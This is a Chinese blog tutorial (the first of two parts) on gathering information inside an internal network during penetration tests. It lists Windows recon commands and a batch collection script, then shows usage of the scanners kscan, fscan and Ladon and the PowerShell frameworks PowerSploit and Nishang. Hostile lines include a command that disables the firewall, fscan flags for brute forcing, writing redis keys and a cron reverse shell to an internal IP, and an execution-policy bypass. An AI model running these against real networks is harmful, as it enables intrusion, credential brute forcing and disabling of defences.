【内网渗透-域内收集整理】上

最新推荐文章于 2024-08-03 21:02:21 发布
最新推荐文章于 2024-08-03 21:02:21 发布
阅读量217 收藏
点赞数
分类专栏： 网络安全 文章标签： 网络 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_54603520/article/details/130797503
版权

对于一名渗透测试人员来说,拿下外网服务器只是渗透测试的开始,而非结束。外网服务器只是连接内外网的跳板,真正具有价值和隐私的数据通常存储在内网之中。内网往往采用较为严密的网络隔离措施与安全防护,这也使得内网渗透成为安全测试的重中之重和难点所在。内网渗透的第一步是信息收集,这是一项耗时而繁琐的工作。通过各种技术手段挖掘内网服务器,网络设备,用户信息等,建立内网的整体网络拓扑架构图,找到进一步渗透的突破口。这需要测试人员具备强大的渗透技能,熟练运用各种信息枚举工具,并能够通过大量信息进行关联分析,得出有价值的结论。信息收集阶段的目标并非直接入侵内网深处,而是建立内网渗透路线图,发现易受攻击的网络节点和服务,较为超静默地获取用户凭证等有用信息。这是一场与时俱进的战斗,渗透测试人员需要熟知各种防护技术并采取相应手段规避检测,才能在不触发警报的情况下完成渗透的第一阶段。本文将针对内网信息收集做详细阐述,重点讲解信息收集的技巧和渗透测试人员需熟练掌握的渗透工具。通过具体案例分析,揭示信息收集在内网渗透中的重要地位与作用。同时,希望相关技术人员能够发现并修补内网环境的各种信息泄露与安全缺陷,提高整体的网络安全防护意识。

一、本地内网信息收集

网络配置信息

ipconfig

在这里插入图片描述

操作系统和软件信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo| findstr /B /C:"OS 名称" /C:"OS 版本"

在这里插入图片描述

本机服务信息

wmic service list brief

在这里插入图片描述

进程信息.

tasklist
wmic process list brief

在这里插入图片描述

启动程序信息

wmic startup get command,caption

在这里插入图片描述

计划任务信息

schtasks /query /fo LIST /v

在这里插入图片描述

主机开机时间信息

在这里插入图片描述

用户列表信息

net user
wmic useraccount get name ,SID

在这里插入图片描述

查询端口列表

netstat ‐ano

在这里插入图片描述

查看补丁列表

systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn

在这里插入图片描述

防火墙相关操作

netsh firewall show state 查看防火墙是否开启
Windows server 2003之后: netsh firewall set opmode disable 或者netsh advfirewall set allprofiles
state off

在这里插入图片描述

二、本地内网信息收集自动化

bat脚本-------第一部分的命令一般不会手动敲，大多数使用自动化脚本获取，我们可以编写bat脚本去批量执行上方脚本。
这里介绍常用的bat脚本命令。
echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@与echo off相象，但它是加在每个命令行的最前面，表示运行时不显示这一行的命令行（只能影响当前行）。
call 调用另一个批处理文件（如果不用call而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令）。
pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue…的提示，等待用户按任意键后继续
rem 表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）。

@echo off
echo ############################## >>1.txt
ipconfig >>1.txt
echo ############################## >>1.txt
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >>1.txt
systeminfo| findstr /B /C:"OS 名称" /C:"OS 版本" >>1.txt
echo ############################## >>1.txt
echo %PROCESSOR_ARCHITECTURE% >>1.txt

三、内网IP扫描

正如nmap一样，内网也有相关的扫描工具，这里介绍三款内网常用的IP扫描工具，具体使用方法就是将当前工具上传到当前受害主机，直接执行相关命令即可。

  • Kscan
    kscan是一款资产]测绘工具，可针对指定资产进行端口扫描以及TCP指纹识别和Banner抓取，在不
    发送更多的数据包的情况下尽可能的获取端口更多信息。并能够针对扫描结果进行自动化暴力破解，
    且是go平台首款开源的RDP暴力破解工具。
usage: kscan [-h,--help,--fofa-syntax] (-t,--target,-f,--fofa,--touch,--spy) [-p,--port|--top] [-o,--output] [-oJ] [--proxy] [--threads] [--path] [--host] [--timeout] [-Pn] [-Cn] [-sV] [--check] [--encoding] [--hydra] [hydra options] [fofa options]
optional arguments:
 -h , --help show this help message and exit
 -f , --fofa 从fofa获取检测对象，需提前配置环境变量:FOFA_EMAIL、FOFA_KEY
 -t , --target 指定探测对象：
 IP地址：114.114.114.114
 IP地址段：114.114.114.114/24,不建议子网掩码小于12
 IP地址段：114.114.114.114-115.115.115.115
 URL地址：https://www.baidu.com
 文件地址：file:/tmp/target.txt
 --spy 网段探测模式，此模式下将自动探测主机可达的内网网段可接收参数为：
 (空)、192、10、172、all、指定IP地址(将探测该IP地址B段存活网关)
 --check 针对目标地址做指纹识别，仅不会进行端口探测
 --scan 将针对--fofa、--spy提供的目标对象，进行端口扫描和指纹识别
 --touch 获取指定端口返回包，可以使用此次参数获取返回包，完善指纹库，格式为：IP:PORT
 -p , --port 扫描指定端口，默认会扫描TOP400，支持：80,8080,8088-8090
 -o , --output 将扫描结果保存到文件
 -oJ 将扫描结果使用json格式保存到文件
 -Pn 使用此参数后，将不会进行智能存活性探测，现在默认会开启智能存活性探测，提高效率
 -Cn 使用此参数后，控制台输出结果将不会带颜色
 -Dn 使用此参数后，将关闭CDN识别功能
 -sV 使用此参数后，将对所有端口进行全探针探测，此参数极度影响效率，慎用！
 --top 扫描经过筛选处理的常见端口TopX，最高支持1000个，默认为TOP400
 --proxy 设置代理(socks5|socks4|https|http)://IP:Port
 --threads 线程参数,默认线程100,最大值为2048
 --path 指定请求访问的目录，只支持单个目录
 --host 指定所有请求的头部Host值
 --timeout 设置超时时间
 --encoding 设置终端输出编码，可指定为：gb2312、utf-8
 --match 对资产返回banner进行检索，存在关键字的，才会显示，否则不会显示
 --hydra 自动化爆破支持协议：ssh,rdp,ftp,smb,mysql,mssql,oracle,postgresql,mongodb,redis,默认会开启全部
hydra options:
 --hydra-user 自定义hydra爆破用户名:username or user1,user2 or file:username.txt
 --hydra-pass 自定义hydra爆破密码:password or pass1,pass2 or file:password.txt
 若密码中存在使用逗号的情况，则使用\,进行转义，其他符号无需转义
 --hydra-update 自定义用户名、密码模式，若携带此参数，则为新增模式，会将用户名和密码补充在默认字典后面。否则将替换默认字典。
 --hydra-mod 指定自动化暴力破解模块:rdp or rdp,ssh,smb
fofa options:
 --fofa-syntax 将获取fofa搜索语法说明
 --fofa-size 将设置fofa返回条目数，默认100条
 --fofa-fix-keyword 修饰keyword，该参数中的{}最终会替换成-f参数的值

下载地址 https://github.com/lcvvvv/kscan

  • fscan
    一款内网综合扫描工具，方便一键自动化、全方位漏扫扫描。支持主机存活探测、端口扫描、常见服
    务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、
    web漏洞扫描、netbios探测、域控识别等功能。
    https://github.com/shadow1ng/fscan
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后，命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
  • ladon
    Ladon一款用于大型网络渗透的多线程插件化综合扫描神器，含端口扫描、服务识别、网络资产、密
    码爆破、高危漏洞检测以及一键GetShell，支持批量A段/B段/C段以及跨网段扫描，支持URL、主
    机、域名列表扫描。7.5版本内置100个功能模块,外部模块18个,通过多种协议以及方法快速获取目标
    网络存活主机IP、计算机名、工作组、共享资源、网卡地址、操作系统版本、网站、子域名、中间
    件、开放服务、路由器、数据库等信息，远程执行命令包含(wmiexe/psexec/atexec/sshexec
    /jspshell),Web指纹识别模块可识别75种（Web应用、中间件、脚本类型、页面类型）等，可高度
    自定义插件POC支持.NET程序集、DLL(C#/Delphi/VC)、PowerShell等语言编写的插件,支持通过配
    置INI批量调用任意外部程序或命令，EXP生成器可一键生成漏洞POC快速扩展扫描能力。
    下载地址：https://github.com/k8gege/Ladon
    在这里插入图片描述

四、内网端口扫描

  • ScanLine
    ScanLine是一款windows下的端口扫描的命令行程序。它可以完成PING扫描、TCP端口扫描、UDP端口扫描等功
    能。运行速度很快，不需要winPcap库支持，应用场合受限较少。
‐？ ‐ 显示此帮助文本
‐b ‐ 获取端口横幅
‐c ‐ TCP 和 UDP 尝试超时（毫秒）。 默认值为 4000
‐d ‐ 扫描之间的延迟（毫秒）。 默认为 0
‐f ‐ 从文件中读取 IP。 使用“stdin”作为标准输入
‐g ‐ 绑定到给定的本地端口
‐h ‐ 隐藏没有开放端口的系统的结果
‐i ‐ 除了 Echo 请求之外，用于 ping 使用 ICMP 时间戳请求
‐j ‐ 不要在 IP 之间输出“‐‐‐‐‐...”分隔符
‐l ‐ 从文件中读取 TCP 端口
‐L ‐ 从文件中读取 UDP 端口
‐m ‐ 绑定到给定的本地接口 IP
‐n ‐ 不扫描端口 ‐ 仅 ping（除非您使用 ‐p）
‐o ‐ 输出文件（覆盖）
‐O ‐ 输出文件（追加）
‐p ‐ 扫描前不要 ping 主机
‐q ‐ ping 超时（毫秒）。 默认值为 2000
‐r ‐ 将 IP 地址解析为主机名
‐s ‐ 以逗号分隔格式输出 (csv)
‐t ‐ 要扫描的 TCP 端口（以逗号分隔的端口/范围列表）
‐T ‐ 使用 TCP 端口的内部列表
‐u ‐ 要扫描的 UDP 端口（以逗号分隔的端口/范围列表）
‐U ‐ 使用 UDP 端口的内部列表
‐v ‐ 详细模式
‐z ‐ 随机化 IP 和端口扫描顺序

在这里插入图片描述

  • PowerSpioit
    PowerSploit是一款基于PowerShell的后渗透框架软件，包含了很多PowerShell的攻击脚本，它们主要用于渗透中
    的信息侦测，权限提升、权限维持等
ActivirusBypass：发现杀毒软件的查杀特征
CodeExecution：在目标主机上执行代码
Exfiltration：目标主机上的信息搜集工具
Mayhem：蓝屏等破坏性的脚本
Persistence：后门脚本
Privsec：提权等脚本
Recon：以目标主机为跳板进行内网信息侦查
ScriptModification：在目标主机上创建或修改脚

本地执行

powershell ‐exec bypass Import‐Module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts
192.168.41.0/24 ‐T 4 ‐ports '445,8080,3389,80' ‐oA c:\1.txt
  • Nishang
    Nishang是一款针对PowerShell的渗透工具。说到渗透工具，那自然便是老外开发的东西。国人开发的东西，也不
    是不行，只不过不被认可罢了。不管是谁开发的，既然跟渗透有关系，那自然是对我们有帮助的，学习就好。来源
    什么的都不重要。总之，nishang也是一款不可多得的好工具。非常的好用。
Set‐ExecutionPolicy remotesigned 允许导入
Import‐Module .\nishang.psm1 导入模块
Invoke‐PortScan ‐StartAddress 192.168.41.1 ‐EndAddress 192.168.41.21 ‐ResolveHost 扫描
powershell ‐command "& { import‐module .\nishang\nishang.psm1; Invoke‐PortScan ‐StartAddress
192.168.41.1 ‐EndAddress 192.168.41.255 ‐ResolveHost }"

在这里插入图片描述

  • Kscan(同第三部分)

  • fscan(同第三部分)

Old-YanG
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
一款强大的红队信息收集和资产收集工具（Kscan）
lza20001103的博客
08-13 6807
一款强大的红队资产测绘工具（Kscan）
【内网渗透-域内收集整理】下
weixin_54603520的博客
05-22 187
对一名渗透测试人员来说,控制一台出网服务器只是渗透测试的起点。真正的挑战在于如何从这一台服务器深入内网,在不触发警报的情况下发现企业核心资产。而域内信息收集,是实现内网渗透的基石与第一步。域内信息收集不同于一般的信息收集。在已经控制域内一台主机的情况下,我们可以更加方便和隐蔽地扫描内网资产,枚举用户和组,检索敏感文件,提取域控权限等。这需要渗透测试人员具备很强的技能与耐心,熟练运用各种内网渗透工具,并能够结合所获信息进行综合判断与分析。与一般信息收集相比,域内信息收集可以采取更为侵入式的手段。
内外网批处理命令
10-12
netsh interface ip set address "网络连接名称" static 指定IP地址 子网掩码 网关
物理隔离条件下，如何安全高效地进行内外网文件导入导出？
文件数据安全交换
03-13 514
飞驰云联是中国领先的数据安全传输解决方案提供商，长期专注于安全可控、性能卓越的数据传输技术和解决方案，公司产品和方案覆盖了跨网跨区域的数据安全交换、供应链数据安全传输、数据传输过程的防泄漏、FTP的增强和国产化替代、文件传输自动化和传输集成等各种数据传输场景。可以了解一下Ftrans飞驰云联的《Ftrans文件安全导入导出系统》，为企业提供物理隔离条件下的文件安全导入导出解决方案，保持物理隔离的环境下，实现内外网文件导入导出申请、上传、安全检查、审核、下载等全过程一站式。2、可审批原文件，保证合规性。
推荐三款内网渗透神器!
jklove9的博客
03-02 3409
推荐三款内网渗透神器---fscan kscan RequestTemplate
网络空间搜索引擎Fofa的简单使用
weixin_44110913的博客
08-02 5701
目录 Fofa 逻辑运算符 查找使用指定应用的IP 查找使用指定协议的IP 查找开放指定端口的IP 查找IP或网段的信息 查找使用指定css或js的网站 使用Fofa API接口 其他 Fofa Fofa 是白帽汇推出的一款网络空间搜索引擎，它通过进行网络空间测绘，能够帮助研究人员或者企业迅速进行网络资产匹配。例如进行漏洞影响范围分析、应用分布统计、应用流行度等。在渗透测试过程中，Fofa能帮助测试人员快速发现目标资产...
内网渗透-完整的域渗透
热门推荐
Love&Share
11-28 1万+
文章目录域环境概念创建域创建组&用户加入域域渗透常规信息收集内网信息收集拿下20031.MySQL弱口令2.哈希传递攻击拿下域控信息收集mimikatz后渗透&其他MSF其他模块推荐阅读： 域环境 在开始域渗透之前，先来简单了解下域的一些概念 概念 域 域（Domain）是一个有安全边界的计算机集合（安全边界的意思是，在两个域中，一个域中的用户无法访问另一个域中的资源） 工作组的分散管理模式不适合大型的网络环境下工作，域模式就是针对大型的网络管理需求设计的，就是共享用户账号，计算机账号和.
第70天：内网安全-域横向内网漫游Socks代理隧道技术1
08-03
内网安全是信息技术领域中的一个重要话题，特别是在企业网络环境中，域横向内网漫游Socks代理隧道技术是一种解决内网间通信难题的有效方法。本文将详细介绍相关知识点，并通过实际案例来展示如何应用这些技术。 ...
内网渗透-反弹shell.pdf
10-28
这是一份学习笔记，各个文章的摘抄整合。比较全面的反弹shell方法
内网渗透之域渗透.pdf
08-07
目录 工作组&域 域的渗透姿势 MS14-068 致谢
ISC-内网渗透 -最终版.pdf
04-08
通过对Active Directory渗透的基础知识、认证方式、远程命令执行技术及内网渗透流程的详细介绍，我们可以了解到，在实施内网渗透时，掌握这些核心技术点对于成功渗透目标网络至关重要。此外，合理运用各种技术和工具...
[ 内网渗透 ] 域管定位工具.zip
02-11
当攻击者试图渗透进内网时，找到域控制器是其进一步控制网络的关键步骤。本篇将详细讲解如何利用特定的工具进行域管定位，以及这些工具在内网渗透过程中的作用。 标题提及的“[内网渗透] 域管定位工具.zip”是一个...
关于fofa的一些Tips
weixin_50464560的博客
07-11 4976
正文 今天分享一个白嫖FOFA会员的Tips 1977×650 24.3 KB 可以到GitHub上搜索fofa key的关键字fofa_api、fofa_key、fofa_email就能找到，一些开发者，忘记在程序中删除的fofa api key，上面有的key有用有的可能更新了api key 21092×766 32.8 KB 31494×914 49 KB 再分享一下，fofa上有趣的搜索语句，以下语句摘录自白帽汇官方公众号的活动：搜集FOFA的有趣搜索语句 Shadowsocks-Ma.
网安科班精选！爱荷华大学教授的网络安全零基础入门教程！
互联网架构小马的博客
07-31 518
网络就像一把双刃剑，给我们的生活、交流、工作和发展带来了便利，但同时也给信息安全以及个人隐私带来了威胁。网络和信息安全问题不仅影响了网络的普及和应用，还关系到企国家、军队、企业的信息安全和社会的经济安全，让人又爱又恨。今天给大家分享的这份手册，主要从网络漏洞、协议和安全解决方案等方面来探讨网络安全问题。我们把网络看成是不安全和安全的源头，通过分析网络漏洞、探测、攻击和减少攻击的方法，来研究不同的网络协议。
J031_使用TCP协议支持与多个客户端同时通信
最新发布
lzn20161229的博客
08-03 183
使用TCP协议支持与多个客户端同时通信。
【Vulnhub系列】Vulnhub Connect-The-Dots 靶场渗透（原创）
Lusen的博客
08-02 387
Vulnhub系列Connect-The-Dots靶场做题记录
计算机网络—电路、分组、报文交换—图文详解
喻师傅的学习笔记
07-31 726
计算机网络—三种交换方式图文详解
linux操作系统_TCP
hkhkhkhkh123的博客
07-30 1063
1）三次握手和四次挥手机制 2) 确认应答：TCP将每个字节的数据都进行了编号，即为序列号。每一个ACK都带有对应的确认序列号，保证数据不丢失的按序到达 3）超时重传：当发送端发送的数据在网络中丢失时，在一定时间内没有收到接收端的ACK，则发送端会重新发送丢失数据。2. ACK： 确认应答标志 3. PSH: 表示发送数据，提示接收端从TCP接收缓冲区中读走数据，为接收后续数据腾出空间 4. RST： 重置连接标志 5. SYN： 表示请求建立一个连接 6. FIN： finish标志， 表示释放连接。
内网渗透--DNS隧道
05-16
在DNS隧道中，攻击者利用内网中一台主机上的DNS客户端程序向外部DNS服务器发送DNS请求。DNS请求消息中包含着攻击者需要传输的数据，这些数据经过编码后放入DNS请求中的域名字段中。外部DNS服务器接收到DNS请求消息后...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值